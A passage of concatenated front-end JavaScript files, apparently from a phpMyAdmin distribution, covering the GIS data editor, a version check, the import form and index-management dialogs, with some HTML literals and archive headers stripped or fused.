PrintPage = { handleEvent: () => { window.print(); } }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { document.querySelectorAll('.jsPrintButton').forEach(item => { item.removeEventListener('click', PrintPage); }); $(document).off('click', 'a.create_view.ajax'); $(document).off('keydown', '#createViewModal input, #createViewModal select'); $(document).off('change', '#fkc_checkbox'); }); AJAX.registerOnload('functions.js', function () { document.querySelectorAll('.jsPrintButton').forEach(item => { item.addEventListener('click', PrintPage); }); $('.logout').on('click', function () { var form = $('
    ' + '' + '
    '); $('body').append(form); form.submit(); sessionStorage.clear(); return false; }); /** * Ajaxification for the "Create View" action */ $(document).on('click', 'a.create_view.ajax', function (e) { e.preventDefault(); Functions.createViewModal($(this)); }); /** * Attach Ajax event handlers for input fields in the editor * and used to submit the Ajax request when the ENTER key is pressed. */ if ($('#createViewModal').length !== 0) { $(document).on('keydown', '#createViewModal input, #createViewModal select', function (e) { if (e.which === 13) { // 13 is the ENTER key e.preventDefault(); // with preventing default, selection by ' + '' + ''; } /** * Initialize the visualization in the GIS data editor. */ function initGISEditorVisualization() { storeGisSvgRef(); // Loads either SVG or OSM visualization based on the choice selectVisualization(); // Adds necessary styles to the div that contains the openStreetMap styleOSM(); // Adds controllers for zooming and panning addZoomPanControllers(); zoomAndPan(); } /** * Loads JavaScript files and the GIS editor. * * @param value current value of the geometry field * @param field field name * @param type geometry type * @param inputName name of the input field * @param token token */ // eslint-disable-next-line no-unused-vars function loadJSAndGISEditor(value, field, type, inputName) { var head = document.getElementsByTagName('head')[0]; var script; script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'js/dist/table/gis_visualization.js'; head.appendChild(script); // OpenLayers.js is BIG and takes time. So asynchronous loading would not work. // Load the JS and do a callback to load the content for the GIS Editor. script = document.createElement('script'); script.type = 'text/javascript'; script.onreadystatechange = function () { if (this.readyState === 'complete') { loadGISEditor(value, field, type, inputName); } }; script.onload = function () { loadGISEditor(value, field, type, inputName); }; script.onerror = function () { loadGISEditor(value, field, type, inputName); }; script.src = 'js/vendor/openlayers/OpenLayers.js'; head.appendChild(script); gisEditorLoaded = true; } /** * Loads the GIS editor via AJAX * * @param value current value of the geometry field * @param field field name * @param type geometry type * @param inputName name of the input field */ function loadGISEditor(value, field, type, inputName) { var $gisEditor = $('#gis_editor'); $.post('index.php?route=/gis-data-editor', { 'field': field, 'value': value, 'type': type, 'input_name': inputName, 'get_gis_editor': true, 'ajax_request': true, 'server': CommonParams.get('server') }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $gisEditor.html(data.gis_editor); initGISEditorVisualization(); prepareJSVersion(); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); } /** * Opens up the dialog for the GIS data editor. */ // eslint-disable-next-line no-unused-vars function openGISEditor() { // Center the popup var windowWidth = document.documentElement.clientWidth; var windowHeight = document.documentElement.clientHeight; var popupWidth = windowWidth * 0.9; var popupHeight = windowHeight * 0.9; var popupOffsetTop = windowHeight / 2 - popupHeight / 2; var popupOffsetLeft = windowWidth / 2 - popupWidth / 2; var $gisEditor = $('#gis_editor'); var $background = $('#popup_background'); $gisEditor.css({ 'top': popupOffsetTop, 'left': popupOffsetLeft, 'width': popupWidth, 'height': popupHeight }); $background.css({ 'opacity': '0.7' }); $gisEditor.append('
    ' + '' + '
    '); // Make it appear $background.fadeIn('fast'); $gisEditor.fadeIn('fast'); } /** * Prepare and insert the GIS data in Well Known Text format * to the input field. */ function insertDataAndClose() { var $form = $('form#gis_data_editor_form'); var inputName = $form.find('input[name=\'input_name\']').val(); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/gis-data-editor', $form.serialize() + argsep + 'generate=true' + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { $('input[name=\'' + inputName + '\']').val(data.result); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); closeGISEditor(); } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('gis_data_editor.js', function () { $(document).off('click', '#gis_editor input[name=\'gis_data[save]\']'); $(document).off('submit', '#gis_editor'); $(document).off('change', '#gis_editor input[type=\'text\']'); $(document).off('change', '#gis_editor select.gis_type'); $(document).off('click', '#gis_editor a.close_gis_editor, #gis_editor a.cancel_gis_editor'); $(document).off('click', '#gis_editor a.addJs.addPoint'); $(document).off('click', '#gis_editor a.addLine.addJs'); $(document).off('click', '#gis_editor a.addJs.addPolygon'); $(document).off('click', '#gis_editor a.addJs.addGeom'); }); AJAX.registerOnload('gis_data_editor.js', function () { /** * Prepares and insert the GIS data to the input field on clicking 'copy'. */ $(document).on('click', '#gis_editor input[name=\'gis_data[save]\']', function (event) { event.preventDefault(); insertDataAndClose(); }); /** * Prepares and insert the GIS data to the input field on pressing 'enter'. */ $(document).on('submit', '#gis_editor', function (event) { event.preventDefault(); insertDataAndClose(); }); /** * Trigger asynchronous calls on data change and update the output. */ $(document).on('change', '#gis_editor input[type=\'text\']', function () { var $form = $('form#gis_data_editor_form'); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/gis-data-editor', $form.serialize() + argsep + 'generate=true' + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#gis_data_textarea').val(data.result); $('#placeholder').empty().removeClass('hasSVG').html(data.visualization); $('#openlayersmap').empty(); /* TODO: the gis_data_editor should rather return JSON than JS code to eval */ // eslint-disable-next-line no-eval eval(data.openLayers); initGISEditorVisualization(); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); }); /** * Update the form on change of the GIS type. */ $(document).on('change', '#gis_editor select.gis_type', function () { var $gisEditor = $('#gis_editor'); var $form = $('form#gis_data_editor_form'); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/gis-data-editor', $form.serialize() + argsep + 'get_gis_editor=true' + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { $gisEditor.html(data.gis_editor); initGISEditorVisualization(); prepareJSVersion(); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); }); /** * Handles closing of the GIS data editor. */ $(document).on('click', '#gis_editor a.close_gis_editor, #gis_editor a.cancel_gis_editor', function () { closeGISEditor(); }); /** * Handles adding data points */ $(document).on('click', '#gis_editor a.addJs.addPoint', function () { var $a = $(this); var name = $a.attr('name'); // Eg. name = gis_data[0][MULTIPOINT][add_point] => prefix = gis_data[0][MULTIPOINT] var prefix = name.substr(0, name.length - 11); // Find the number of points var $noOfPointsInput = $('input[name=\'' + prefix + '[no_of_points]' + '\']'); var noOfPoints = parseInt($noOfPointsInput.val(), 10); // Add the new data point var html = addDataPoint(noOfPoints, prefix); $a.before(html); $noOfPointsInput.val(noOfPoints + 1); }); /** * Handles adding linestrings and inner rings */ $(document).on('click', '#gis_editor a.addLine.addJs', function () { var $a = $(this); var name = $a.attr('name'); // Eg. name = gis_data[0][MULTILINESTRING][add_line] => prefix = gis_data[0][MULTILINESTRING] var prefix = name.substr(0, name.length - 10); var type = prefix.slice(prefix.lastIndexOf('[') + 1, prefix.lastIndexOf(']')); // Find the number of lines var $noOfLinesInput = $('input[name=\'' + prefix + '[no_of_lines]' + '\']'); var noOfLines = parseInt($noOfLinesInput.val(), 10); // Add the new linesting of inner ring based on the type var html = '
    '; var noOfPoints; if (type === 'MULTILINESTRING') { html += Messages.strLineString + ' ' + (noOfLines + 1) + ':'; noOfPoints = 2; } else { html += Messages.strInnerRing + ' ' + noOfLines + ':'; noOfPoints = 4; } html += ''; for (var i = 0; i < noOfPoints; i++) { html += addDataPoint(i, prefix + '[' + noOfLines + ']'); } html += '+ ' + Messages.strAddPoint + '
    '; $a.before(html); $noOfLinesInput.val(noOfLines + 1); }); /** * Handles adding polygons */ $(document).on('click', '#gis_editor a.addJs.addPolygon', function () { var $a = $(this); var name = $a.attr('name'); // Eg. name = gis_data[0][MULTIPOLYGON][add_polygon] => prefix = gis_data[0][MULTIPOLYGON] var prefix = name.substr(0, name.length - 13); // Find the number of polygons var $noOfPolygonsInput = $('input[name=\'' + prefix + '[no_of_polygons]' + '\']'); var noOfPolygons = parseInt($noOfPolygonsInput.val(), 10); // Add the new polygon var html = Messages.strPolygon + ' ' + (noOfPolygons + 1) + ':
    '; html += '' + '
    ' + Messages.strOuterRing + ':' + ''; for (var i = 0; i < 4; i++) { html += addDataPoint(i, prefix + '[' + noOfPolygons + '][0]'); } html += '+ ' + Messages.strAddPoint + '
    ' + '+ ' + Messages.strAddInnerRing + '

    '; $a.before(html); $noOfPolygonsInput.val(noOfPolygons + 1); }); /** * Handles adding geoms */ $(document).on('click', '#gis_editor a.addJs.addGeom', function () { var $a = $(this); var prefix = 'gis_data[GEOMETRYCOLLECTION]'; // Find the number of geoms var $noOfGeomsInput = $('input[name=\'' + prefix + '[geom_count]' + '\']'); var noOfGeoms = parseInt($noOfGeomsInput.val(), 10); var html1 = Messages.strGeometry + ' ' + (noOfGeoms + 1) + ':
    '; var $geomType = $('select[name=\'gis_data[' + (noOfGeoms - 1) + '][gis_type]\']').clone(); $geomType.attr('name', 'gis_data[' + noOfGeoms + '][gis_type]').val('POINT'); var html2 = '
    ' + Messages.strPoint + ' :' + '' + '' + '' + '' + '

    '; $a.before(html1); $geomType.insertBefore($a); $a.before(html2); $noOfGeomsInput.val(noOfGeoms + 1); }); });dist/home.js000066600000012233151724472050007011 0ustar00const GitInfo = { /** * Version string to integer conversion. * @param {string} str * @return {number | false} */ parseVersionString: function (str) { if (typeof str !== 'string') { return false; } let add = 0; // Parse possible alpha/beta/rc/ const state = str.split('-'); if (state.length >= 2) { if (state[1].substr(0, 2) === 'rc') { add = -20 - parseInt(state[1].substr(2), 10); } else if (state[1].substr(0, 4) === 'beta') { add = -40 - parseInt(state[1].substr(4), 10); } else if (state[1].substr(0, 5) === 'alpha') { add = -60 - parseInt(state[1].substr(5), 10); } else if (state[1].substr(0, 3) === 'dev') { /* We don't handle dev, it's git snapshot */ add = 0; } } // Parse version const x = str.split('.'); // Use 0 for non existing parts const maj = parseInt(x[0], 10) || 0; const min = parseInt(x[1], 10) || 0; const pat = parseInt(x[2], 10) || 0; const hotfix = parseInt(x[3], 10) || 0; return maj * 100000000 + min * 1000000 + pat * 10000 + hotfix * 100 + add; }, /** * Indicates current available version on main page. * @param {object} data */ currentVersion: function (data) { if (data && data.version && data.date) { const current = GitInfo.parseVersionString($('span.version').text()); const latest = GitInfo.parseVersionString(data.version); const url = './url.php?url=https://www.phpmyadmin.net/files/' + Functions.escapeHtml(encodeURIComponent(data.version)) + '/'; let versionInformationMessage = document.createElement('span'); versionInformationMessage.className = 'latest'; const versionInformationMessageLink = document.createElement('a'); versionInformationMessageLink.href = url; versionInformationMessageLink.className = 'disableAjax'; versionInformationMessageLink.target = '_blank'; versionInformationMessageLink.rel = 'noopener noreferrer'; const versionInformationMessageLinkText = document.createTextNode(data.version); versionInformationMessageLink.appendChild(versionInformationMessageLinkText); const prefixMessage = document.createTextNode(Messages.strLatestAvailable + ' '); versionInformationMessage.appendChild(prefixMessage); versionInformationMessage.appendChild(versionInformationMessageLink); if (latest > current) { const message = Functions.sprintf(Messages.strNewerVersion, Functions.escapeHtml(data.version), Functions.escapeHtml(data.date)); let htmlClass = 'alert alert-primary'; if (Math.floor(latest / 10000) === Math.floor(current / 10000)) { /* Security update */ htmlClass = 'alert alert-danger'; } $('#newer_version_notice').remove(); const mainContainerDiv = document.createElement('div'); mainContainerDiv.id = 'newer_version_notice'; mainContainerDiv.className = htmlClass; const mainContainerDivLink = document.createElement('a'); mainContainerDivLink.href = url; mainContainerDivLink.className = 'disableAjax'; mainContainerDivLink.target = '_blank'; mainContainerDivLink.rel = 'noopener noreferrer'; const mainContainerDivLinkText = document.createTextNode(message); mainContainerDivLink.appendChild(mainContainerDivLinkText); mainContainerDiv.appendChild(mainContainerDivLink); $('#maincontainer').append($(mainContainerDiv)); } if (latest === current) { versionInformationMessage = document.createTextNode(' (' + Messages.strUpToDate + ')'); } /* Remove extra whitespace */ const versionInfo = $('#li_pma_version').contents().get(2); if (typeof versionInfo !== 'undefined') { versionInfo.textContent = versionInfo.textContent.trim(); } const $liPmaVersion = $('#li_pma_version'); $liPmaVersion.find('span.latest').remove(); $liPmaVersion.append($(versionInformationMessage)); } }, /** * Loads Git revision data from ajax for index.php */ displayGitRevision: function () { $('#is_git_revision').remove(); $('#li_pma_version_git').remove(); $.get('index.php?route=/git-revision', { 'server': CommonParams.get('server'), 'ajax_request': true, 'no_debug': true }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $(data.message).insertAfter('#li_pma_version'); } }); } }; AJAX.registerTeardown('home.js', function () { $('#themesModal').off('show.bs.modal'); }); AJAX.registerOnload('home.js', function () { $('#themesModal').on('show.bs.modal', function () { $.get('index.php?route=/themes', function (data) { $('#themesModal .modal-body').html(data.themes); }); }); /** * Load version information asynchronously. */ if ($('li.jsversioncheck').length > 0) { $.ajax({ dataType: 'json', url: 'index.php?route=/version-check', method: 'POST', data: { 'server': CommonParams.get('server') }, success: GitInfo.currentVersion }); } if ($('#is_git_revision').length > 0) { setTimeout(GitInfo.displayGitRevision, 10); } });dist/import.js000066600000012776151724472050007407 0ustar00/** * Functions used in the import tab * */ /** * Toggles the hiding and showing of each plugin's options * according to the currently selected plugin from the dropdown list */ function changePluginOpts() { $('#format_specific_opts').find('div.format_specific_options').each(function () { $(this).hide(); }); var selectedPluginName = $('#plugins').find('option:selected').val(); $('#' + selectedPluginName + '_options').fadeIn('slow'); const importNotification = document.getElementById('import_notification'); importNotification.innerText = ''; if (selectedPluginName === 'csv') { importNotification.innerHTML = ''; } } /** * Toggles the hiding and showing of each plugin's options and sets the selected value * in the plugin dropdown list according to the format of the selected file * * @param {string} fname */ function matchFile(fname) { var fnameArray = fname.toLowerCase().split('.'); var len = fnameArray.length; if (len !== 0) { var extension = fnameArray[len - 1]; if (extension === 'gz' || extension === 'bz2' || extension === 'zip') { len--; } // Only toggle if the format of the file can be imported if ($('select[name=\'format\'] option').filterByValue(fnameArray[len - 1]).length === 1) { $('select[name=\'format\'] option').filterByValue(fnameArray[len - 1]).prop('selected', true); changePluginOpts(); } } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('import.js', function () { $('#plugins').off('change'); $('#input_import_file').off('change'); $('#select_local_import_file').off('change'); $('#input_import_file').off('change').off('focus'); $('#select_local_import_file').off('focus'); $('#text_csv_enclosed').add('#text_csv_escaped').off('keyup'); }); AJAX.registerOnload('import.js', function () { // import_file_form validation. $(document).on('submit', '#import_file_form', function () { var radioLocalImport = $('#localFileTab'); var radioImport = $('#uploadFileTab'); var fileMsg = ''; var wrongTblNameMsg = ''; var wrongDBNameMsg = ''; if (radioLocalImport.length !== 0) { // remote upload. if (radioImport.hasClass('active') && $('#input_import_file').val() === '') { $('#input_import_file').trigger('focus'); Functions.ajaxShowMessage(fileMsg, false); return false; } if (radioLocalImport.hasClass('active')) { if ($('#select_local_import_file').length === 0) { Functions.ajaxShowMessage('', false); return false; } if ($('#select_local_import_file').val() === '') { $('#select_local_import_file').trigger('focus'); Functions.ajaxShowMessage(fileMsg, false); return false; } } } else { // local upload. if ($('#input_import_file').val() === '') { $('#input_import_file').trigger('focus'); Functions.ajaxShowMessage(fileMsg, false); return false; } if ($('#text_csv_new_tbl_name').length > 0) { var newTblName = $('#text_csv_new_tbl_name').val(); if (newTblName.length > 0 && newTblName.trim().length === 0) { Functions.ajaxShowMessage(wrongTblNameMsg, false); return false; } } if ($('#text_csv_new_db_name').length > 0) { var newDBName = $('#text_csv_new_db_name').val(); if (newDBName.length > 0 && newDBName.trim().length === 0) { Functions.ajaxShowMessage(wrongDBNameMsg, false); return false; } } } // show progress bar. $('#upload_form_status').css('display', 'inline'); $('#upload_form_status_info').css('display', 'inline'); }); // Initially display the options for the selected plugin changePluginOpts(); // Whenever the selected plugin changes, change the options displayed $('#plugins').on('change', function () { changePluginOpts(); }); $('#input_import_file').on('change', function () { matchFile($(this).val()); }); $('#select_local_import_file').on('change', function () { matchFile($(this).val()); }); /** * Set up the interface for Javascript-enabled browsers since the default is for * Javascript-disabled browsers */ $('#format_specific_opts').find('div.format_specific_options').find('h3').remove(); // $("form[name=import] *").unwrap(); /** * for input element text_csv_enclosed and text_csv_escaped allow just one character to enter. * as mysql allows just one character for these fields, * if first character is escape then allow two including escape character. */ $('#text_csv_enclosed').add('#text_csv_escaped').on('keyup', function () { if ($(this).val().length === 2 && $(this).val().charAt(0) !== '\\') { $(this).val($(this).val().substring(0, 1)); return false; } return true; }); });dist/indexes.js000066600000064522151724472050007530 0ustar00/** * @fileoverview function used for index manipulation pages * @name Table Structure * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ /* global fulltextIndexes:writable, indexes:writable, primaryIndexes:writable, spatialIndexes:writable, uniqueIndexes:writable */ // js/functions.js var Indexes = {}; /** * Returns the array of indexes based on the index choice * * @param {string} indexChoice index choice * * @return {null|object} */ Indexes.getIndexArray = function (indexChoice) { var sourceArray = null; switch (indexChoice.toLowerCase()) { case 'primary': sourceArray = primaryIndexes; break; case 'unique': sourceArray = uniqueIndexes; break; case 'index': sourceArray = indexes; break; case 'fulltext': sourceArray = fulltextIndexes; break; case 'spatial': sourceArray = spatialIndexes; break; default: return null; } return sourceArray; }; /** * Hides/shows the inputs and submits appropriately depending * on whether the index type chosen is 'SPATIAL' or not. */ Indexes.checkIndexType = function () { /** * @var {JQuery= 0) { // Remove column from other indexes (if any). Indexes.removeColumnFromIndex(colIndex); } var indexName = $('input[name="index[Key_name]"]').val(); var indexComment = $('input[name="index[Index_comment]"]').val(); var keyBlockSize = $('input[name="index[Key_block_size]"]').val(); var parser = $('input[name="index[Parser]"]').val(); var indexType = $('select[name="index[Index_type]"]').val(); var columns = []; $('#index_columns').find('tbody').find('tr').each(function () { // Get columns in particular order. var colIndex = $(this).find('select[name="index[columns][names][]"]').val(); var size = $(this).find('input[name="index[columns][sub_parts][]"]').val(); columns.push({ 'col_index': colIndex, 'size': size }); }); // Update or create an index. sourceArray[arrayIndex] = { 'Key_name': indexName, 'Index_comment': indexComment, 'Index_choice': indexChoice.toUpperCase(), 'Key_block_size': keyBlockSize, 'Parser': parser, 'Index_type': indexType, 'columns': columns }; // Display index name (or column list) var displayName = indexName; if (displayName === '') { var columnNames = []; $.each(columns, function () { columnNames.push($('input[name="field_name[' + this.col_index + ']"]').val()); }); displayName = '[' + columnNames.join(', ') + ']'; } $.each(columns, function () { var id = 'index_name_' + this.col_index + '_8'; var $name = $('#' + id); if ($name.length === 0) { $name = $(''); $name.insertAfter($('select[name="field_key[' + this.col_index + ']"]')); } var $text = $('').text(displayName); $name.html($text); }); if (colIndex >= 0) { // Update index details on form. $('select[name="field_key[' + colIndex + ']"]').attr('data-index', indexChoice + ',' + arrayIndex); } Indexes.setIndexFormParameters(sourceArray, indexChoice.toLowerCase()); }; /** * Get choices list for a column to create a composite index with. * * @param {any[]} sourceArray Array hodling columns for particular index * @param {string} colIndex Choice of index * * @return {JQuery} jQuery Object */ Indexes.getCompositeIndexList = function (sourceArray, colIndex) { // Remove any previous list. if ($('#composite_index_list').length) { $('#composite_index_list').remove(); } // Html list. var $compositeIndexList = $('
      ' + '
      ' + Messages.strCompositeWith + '
      ' + '
    '); // Add each column to list available for composite index. var sourceLength = sourceArray.length; var alreadyPresent = false; for (var i = 0; i < sourceLength; i++) { var subArrayLen = sourceArray[i].columns.length; var columnNames = []; for (var j = 0; j < subArrayLen; j++) { columnNames.push($('input[name="field_name[' + sourceArray[i].columns[j].col_index + ']"]').val()); if (colIndex === sourceArray[i].columns[j].col_index) { alreadyPresent = true; } } $compositeIndexList.append('
  • ' + '' + '' + '
  • '); } return $compositeIndexList; }; /** * Shows 'Add Index' dialog. * * @param {any[]} sourceArray Array holding particular index * @param {string} arrayIndex Index of an INDEX in array * @param {any[]} targetColumns Columns for an INDEX * @param {string} colIndex Index of column on form * @param {object} index Index detail object * @param {boolean} showDialog Whether to show index creation dialog or not * * @return {void} */ Indexes.showAddIndexDialog = function (sourceArray, arrayIndex, targetColumns, colIndex, index, showDialog) { var showDialogLocal = typeof showDialog !== 'undefined' ? showDialog : true; // Prepare post-data. var $table = $('input[name="table"]'); var table = $table.length > 0 ? $table.val() : ''; var postData = { 'server': CommonParams.get('server'), 'db': $('input[name="db"]').val(), 'table': table, 'ajax_request': 1, 'create_edit_table': 1, 'index': index }; var columns = {}; for (var i = 0; i < targetColumns.length; i++) { var columnName = $('input[name="field_name[' + targetColumns[i] + ']"]').val(); var columnType = $('select[name="field_type[' + targetColumns[i] + ']"]').val().toLowerCase(); columns[columnName] = [columnType, targetColumns[i]]; } postData.columns = JSON.stringify(columns); var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary' }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary' } }; buttonOptions[Messages.strGo].click = function () { var isMissingValue = false; $('select[name="index[columns][names][]"]').each(function () { if ($(this).val() === '') { isMissingValue = true; } }); if (!isMissingValue) { Indexes.addColumnToIndex(sourceArray, arrayIndex, index.Index_choice, colIndex); } else { Functions.ajaxShowMessage('', false); return false; } $(this).remove(); }; buttonOptions[Messages.strCancel].click = function () { if (colIndex >= 0) { // Handle state on 'Cancel'. var $selectList = $('select[name="field_key[' + colIndex + ']"]'); if (!$selectList.attr('data-index').length) { $selectList.find('option[value*="none"]').attr('selected', 'selected'); } else { var previousIndex = $selectList.attr('data-index').split(','); $selectList.find('option[value*="' + previousIndex[0].toLowerCase() + '"]').attr('selected', 'selected'); } } $(this).dialog('close'); }; var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/table/indexes', postData, function (data) { if (data.success === false) { // in the case of an error, show the error message returned. Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); var $div = $('
    '); if (showDialogLocal) { // Show dialog if the request was successful if ($('#addIndex').length > 0) { $('#addIndex').remove(); } $div.append(data.message).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strAddIndex, width: 450, minHeight: 250, create: function () { $(this).on('keypress', function (e) { if (e.which === 13 || e.keyCode === 13 || window.event.keyCode === 13) { e.preventDefault(); buttonOptions[Messages.strGo](); $(this).remove(); } }); }, open: function () { Functions.checkIndexName('index_frm'); Functions.showHints($div); $('#index_columns').find('td').each(function () { $(this).css('width', $(this).width() + 'px'); }); $('#index_columns').find('tbody').sortable({ axis: 'y', containment: $('#index_columns').find('tbody'), tolerance: 'pointer' }); }, modal: true, buttons: buttonOptions, close: function () { $(this).remove(); } }); } else { $div.append(data.message); $div.css({ 'display': 'none' }); $div.appendTo($('body')); $div.attr({ 'id': 'addIndex' }); var isMissingValue = false; $('select[name="index[columns][names][]"]').each(function () { if ($(this).val() === '') { isMissingValue = true; } }); if (!isMissingValue) { Indexes.addColumnToIndex(sourceArray, arrayIndex, index.Index_choice, colIndex); } else { Functions.ajaxShowMessage('', false); return false; } } } }); }; /** * Creates a advanced index type selection dialog. * * @param {any[]} sourceArray Array holding a particular type of indexes * @param {string} indexChoice Choice of index * @param {string} colIndex Index of new column on form * * @return {void} */ Indexes.indexTypeSelectionDialog = function (sourceArray, indexChoice, colIndex) { var $singleColumnRadio = $('' + ''); var $compositeIndexRadio = $('' + ''); var $dialogContent = $('
    '); $dialogContent.append('' + indexChoice.toUpperCase() + ''); // For UNIQUE/INDEX type, show choice for single-column and composite index. $dialogContent.append($singleColumnRadio); $dialogContent.append($compositeIndexRadio); var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary' }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary' } }; // 'OK' operation. buttonOptions[Messages.strGo].click = function () { if ($('#single_column').is(':checked')) { var index = { 'Key_name': indexChoice === 'primary' ? 'PRIMARY' : '', 'Index_choice': indexChoice.toUpperCase() }; Indexes.showAddIndexDialog(sourceArray, sourceArray.length, [colIndex], colIndex, index); } if ($('#composite_index').is(':checked')) { if ($('input[name="composite_with"]').length !== 0 && $('input[name="composite_with"]:checked').length === 0) { Functions.ajaxShowMessage('', false); return false; } var arrayIndex = $('input[name="composite_with"]:checked').val(); var sourceLength = sourceArray[arrayIndex].columns.length; var targetColumns = []; for (var i = 0; i < sourceLength; i++) { targetColumns.push(sourceArray[arrayIndex].columns[i].col_index); } targetColumns.push(colIndex); Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, colIndex, sourceArray[arrayIndex]); } $(this).remove(); }; buttonOptions[Messages.strCancel].click = function () { // Handle state on 'Cancel'. var $selectList = $('select[name="field_key[' + colIndex + ']"]'); if (!$selectList.attr('data-index').length) { $selectList.find('option[value*="none"]').attr('selected', 'selected'); } else { var previousIndex = $selectList.attr('data-index').split(','); $selectList.find('option[value*="' + previousIndex[0].toLowerCase() + '"]').attr('selected', 'selected'); } $(this).remove(); }; $('
    ').append($dialogContent).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, minWidth: 525, minHeight: 200, modal: true, title: Messages.strAddIndex, resizable: false, buttons: buttonOptions, open: function () { $('#composite_index').on('change', function () { if ($(this).is(':checked')) { $dialogContent.append(Indexes.getCompositeIndexList(sourceArray, colIndex)); } }); $('#single_column').on('change', function () { if ($(this).is(':checked')) { if ($('#composite_index_list').length) { $('#composite_index_list').remove(); } } }); }, close: function () { $('#composite_index').off('change'); $('#single_column').off('change'); $(this).remove(); } }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('indexes.js', function () { $(document).off('click', '#save_index_frm'); $(document).off('click', '#preview_index_frm'); $(document).off('change', '#select_index_choice'); $(document).off('click', 'a.drop_primary_key_index_anchor.ajax'); $(document).off('click', '#table_index tbody tr td.edit_index.ajax, #index_div .add_index.ajax'); $(document).off('click', '#table_index tbody tr td.rename_index.ajax'); $(document).off('click', '#index_frm input[type=submit]'); $('body').off('change', 'select[name*="field_key"]'); $(document).off('click', '.show_index_dialog'); }); /** * @description

    Ajax scripts for table index page

    * * Actions ajaxified here: *
      *
    • Showing/hiding inputs depending on the index type chosen
    • *
    • create/edit/drop indexes
    • *
    */ AJAX.registerOnload('indexes.js', function () { // Re-initialize variables. primaryIndexes = []; uniqueIndexes = []; indexes = []; fulltextIndexes = []; spatialIndexes = []; // for table creation form var $engineSelector = $('.create_table_form select[name=tbl_storage_engine]'); if ($engineSelector.length) { Functions.hideShowConnection($engineSelector); } var $form = $('#index_frm'); if ($form.length > 0) { Functions.showIndexEditDialog($form); } $(document).on('click', '#save_index_frm', function (event) { event.preventDefault(); var $form = $('#index_frm'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'do_save_data=1' + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(Messages.strProcessingRequest); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); }); $(document).on('click', '#preview_index_frm', function (event) { event.preventDefault(); Functions.previewSql($('#index_frm')); }); $(document).on('change', '#select_index_choice', function (event) { event.preventDefault(); Indexes.checkIndexType(); Functions.checkIndexName('index_frm'); }); /** * Ajax Event handler for 'Drop Index' */ $(document).on('click', 'a.drop_primary_key_index_anchor.ajax', function (event) { event.preventDefault(); var $anchor = $(this); /** * @var $currRow Object containing reference to the current field's row */ var $currRow = $anchor.parents('tr'); /** @var {number} rows Number of columns in the key */ var rows = $anchor.parents('td').attr('rowspan') || 1; /** @var {number} $rowsToHide Rows that should be hidden */ var $rowsToHide = $currRow; for (var i = 1, $lastRow = $currRow.next(); i < rows; i++, $lastRow = $lastRow.next()) { $rowsToHide = $rowsToHide.add($lastRow); } var question = $currRow.children('td').children('.drop_primary_key_index_msg').val(); Functions.confirmPreviewSql(question, $anchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strDroppingPrimaryKeyIndex, false); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); var $tableRef = $rowsToHide.closest('table'); if ($rowsToHide.length === $tableRef.find('tbody > tr').length) { // We are about to remove all rows from the table $tableRef.hide('medium', function () { $('div.no_indexes_defined').show('medium'); $rowsToHide.remove(); }); $tableRef.siblings('.alert-primary').hide('medium'); } else { // We are removing some of the rows only $rowsToHide.hide('medium', function () { $(this).remove(); }); } if ($('.result_query').length) { $('.result_query').remove(); } if (data.sql_query) { $('
    ').html(data.sql_query).prependTo('#structure_content'); Functions.highlightSql($('#page_content')); } Navigation.reload(); CommonActions.refreshMain('index.php?route=/table/structure'); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }); }); // end Drop Primary Key/Index /** * Ajax event handler for index edit **/ $(document).on('click', '#table_index tbody tr td.edit_index.ajax, #index_div .add_index.ajax', function (event) { event.preventDefault(); var url; var title; if ($(this).find('a').length === 0) { // Add index var valid = Functions.checkFormElementInRange($(this).closest('form')[0], 'added_fields', 'Column count has to be larger than zero.'); if (!valid) { return; } url = $(this).closest('form').serialize(); title = Messages.strAddIndex; } else { // Edit index url = $(this).find('a').getPostData(); title = Messages.strEditIndex; } url += CommonParams.get('arg_separator') + 'ajax_request=true'; Functions.indexEditorDialog(url, title, function (data) { CommonParams.set('db', data.params.db); CommonParams.set('table', data.params.table); CommonActions.refreshMain('index.php?route=/table/structure'); }); }); /** * Ajax event handler for index rename **/ $(document).on('click', '#table_index tbody tr td.rename_index.ajax', function (event) { event.preventDefault(); var url = $(this).find('a').getPostData(); var title = Messages.strRenameIndex; url += CommonParams.get('arg_separator') + 'ajax_request=true'; Functions.indexRenameDialog(url, title, function (data) { CommonParams.set('db', data.params.db); CommonParams.set('table', 